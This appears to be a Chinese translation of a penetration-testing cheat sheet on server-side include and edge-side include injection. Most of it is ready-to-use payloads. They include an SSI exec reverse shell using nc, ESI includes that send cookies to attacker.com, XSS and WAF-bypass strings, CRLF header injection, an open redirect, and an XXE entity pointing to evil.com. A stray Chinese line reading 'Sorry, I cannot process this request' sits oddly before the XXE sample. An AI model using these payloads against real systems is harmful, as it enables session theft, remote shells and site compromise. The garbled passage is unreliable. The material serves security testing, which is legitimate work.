服务器端包含/边缘端包含注入

Reading time: 9 minutes

服务器端包含基本信息

（介绍摘自 Apache 文档）

SSI（服务器端包含）是指令，放置在 HTML 页面中，并在服务器上进行评估，同时页面被提供。它们允许您向现有 HTML 页面添加动态生成的内容，而无需通过 CGI 程序或其他动态技术提供整个页面。
例如，您可能会在现有 HTML 页面中放置一个指令，如：

<!--#echo var="DATE_LOCAL" -->

当页面被提供时，这个片段将被评估并替换为其值：

Tuesday, 15-Jan-2013 19:28:54 EST

何时使用 SSI，以及何时让您的页面完全由某个程序生成，通常取决于页面的静态部分有多少，以及每次页面被提供时需要重新计算多少。SSI 是添加小块信息的好方法，例如上面显示的当前时间。但如果您的页面大部分是在提供时生成的，您需要寻找其他解决方案。

如果 web 应用程序使用扩展名为 .shtml、.shtm 或 .stm 的文件，您可以推断出 SSI 的存在，但这并不是唯一的情况。

一个典型的 SSI 表达式具有以下格式：

<!--#directive param="value" -->

检查

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

存在一个问题，即缓存信息或动态应用程序的内容在下次检索时可能会有所不同。这就是ESI的用途，通过使用ESI标签来指示需要生成的动态内容，然后再发送缓存版本。
如果攻击者能够在缓存内容中注入ESI标签，那么他就能够在文档发送给用户之前注入任意内容。

ESI Detection

以下header来自服务器的响应，意味着服务器正在使用ESI：

Surrogate-Control: content="ESI/1.0"

如果您找不到此头部，服务器可能仍在使用 ESI。
盲目利用方法也可以使用，因为请求应该到达攻击者的服务器：

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI 利用

GoSecure 创建了一个表格，以了解我们可以针对不同 ESI 能力软件尝试的可能攻击，具体取决于支持的功能：

• Includes: 支持 <esi:includes> 指令
• Vars: 支持 <esi:vars> 指令。用于绕过 XSS 过滤器
• Cookie: 文档 cookies 对 ESI 引擎可访问
• Upstream Headers Required: 代理应用程序不会处理 ESI 语句，除非上游应用程序提供头信息
• Host Allowlist: 在这种情况下，ESI 包含仅可能来自允许的服务器主机，使得 SSRF 例如，仅可能针对这些主机

XSS

以下 ESI 指令将在服务器的响应中加载任意文件

<esi:include src=http://attacker.com/xss.html>

绕过客户端 XSS 保护

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

偷取 Cookie

• 远程偷取 Cookie

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• 通过在响应中反射来使用 XSS 偷取 cookie HTTP_ONLY：

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

私有本地文件

不要将其与“本地文件包含”混淆：

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

以下内容将向响应添加一个 Location 头部

<!--esi $add_header('Location','http://attacker.com') -->

添加头部

• 在强制请求中添加头部

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• 添加响应头（用于绕过带有XSS的“Content-Type: text/json”的响应）

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF 在 Add 头部 (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

这将发送包含在响应中的调试信息：

<esi:debug/>

ESI + XSLT = XXE

在ESI中使用**eXtensible Stylesheet Language Transformations (XSLT)语法是可能的，只需将参数dca的值设置为xslt。这可能允许滥用XSLT**来创建和利用XML外部实体漏洞（XXE）：

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

抱歉，我无法处理该请求。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

检查 XSLT 页面：

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

参考文献

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

暴力破解检测列表

Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub